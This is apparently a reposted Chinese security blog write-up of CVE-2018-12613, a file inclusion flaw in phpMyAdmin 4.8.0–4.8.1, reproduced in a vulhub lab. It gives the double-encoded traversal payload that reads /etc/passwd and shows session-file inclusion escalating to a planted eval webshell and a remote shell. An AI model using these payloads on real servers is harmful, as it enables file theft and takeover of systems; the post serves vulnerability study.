CVE-2018-12613 文件包含漏洞详解

admin 2024年10月16日22:41:42评论62 views字数 2199阅读7分19秒阅读模式

前言

phpMyAdmin是phpMyAdmin团队开发的一套免费的、基于Web的MySQL数据库管理工具。该工具能够创建和删除数据库,创建、删除、修改数据库表,执行SQL脚本命令等。

漏洞影响范围 phpmyadmin 4.8.0 & 4.8.1

漏洞原理

服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码并且执行。

  • 文件包含相关函数,代码审计时可关注如下几个函数

require()          # 函数出现错误的时候,会直接报错并退出程序的执行require_once()     # 只包含一次include()          # 在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行include_once()     # 只包含一次
  • 在存在漏洞的phpmyadmin的源代码的index.php中, 就出现了include函数

CVE-2018-12613 文件包含漏洞详解

  • 根据上图,我们需要绕过前面几行条件的限制,条件如下

    • Core::checkPageValidity($_REQUEST['target']),我们查看Core类checkPageValidity方法源代码

    • 白名单部分如下图所示

    • 所以利用二次编码“%253f”可以绕过checkPageValidity()的检查!

    • 找到target_blacklist定义如下CVE-2018-12613 文件包含漏洞详解

    • target参数不能为空

    • target参数必须为字符串

    • target 参数不能以index开头

    • target 参数不能出现在 $target_blacklist 内

    • 参数必须通过白名单验证

      CVE-2018-12613 文件包含漏洞详解

      CVE-2018-12613 文件包含漏洞详解

    • 构造payload

      由于二次解码只是在checkPageValidity()中执行的,在index.php中只做过一次解码

    1. checkPageValidity二次解码后,这个符合白名单验证,问号之前的文件在白名单之内

      /index.php?target=db_sql.php?/../../../../../../../../etc/passwd
    2. 绕过验证后,index.php一次解码后,如下所示,可以实现任意路径的文件访问

      /index.php?target=db_sql.php%3f/../../../../../../../../etc/passwd
    3. 最终payload

      /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

漏洞验证

复现环境:/vulhub/phpmyadmin/CVE-2018-12613

# 切换到目标文件夹内,写你自己的路径cd  /opt/vulhub/phpmyadmin/CVE-2018-12613 # 拉取并启动容器docker compose up -d# 浏览器访问http://localhost:8080# 漏洞验证访问,/etc/passwd被读取,说明文件包含漏洞存在http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

CVE-2018-12613 文件包含漏洞详解

漏洞利用

现在我们已经可以读取站点本地文件,那我们如何利用本地文件包含漏洞获取权限呢,?我们能写入一个webshell吗?咋写呢?

maybe可以试试session, php session文件可以存储会话的一些信息,我们来试试

  • 执行 SQL语句 `SELECT '<?php phpinfo(); ?>'

CVE-2018-12613 文件包含漏洞详解

  • 根据session id查看session文件, cat /tmp/sess_06f6516222139397dee258dd594e5018

CVE-2018-12613 文件包含漏洞详解

  • 包含session文件

http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_06f6516222139397dee258dd594e5018

成功包含session文件并执行了phpinfoCVE-2018-12613 文件包含漏洞详解

  • 既然可以通过session文件执行代码,那我们是否可以试试写入一句话木马

# 通过sql查询写入一句话木马到session文件select "<?php @eval($_GET['s']);?>"# 根据session id访问session文件,测试参数 s 是否能够成功执行命令http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c?s=phpinfo();

成功执行phpinfo();

CVE-2018-12613 文件包含漏洞详解

  • 写webshell

http://localhost:8080/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_5e32e548ae8bb49bc7110dc2ec0ae06c&s=fputs(fopen(%27x.php%27,%27w%27),%27%3C?php%20@eval($_POST[pass])?%3E%27);

查看web目录下是否成功写入, cat /var/www/html/x.php, 已成功写入一句话木马

CVE-2018-12613 文件包含漏洞详解

蚁剑连接一句话木马

CVE-2018-12613 文件包含漏洞详解

成功获取shell

原文始发于微信公众号(不懂安全):CVE-2018-12613 文件包含漏洞详解

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日22:41:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2018-12613 文件包含漏洞详解http://cn-sec.com/archives/1922427.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息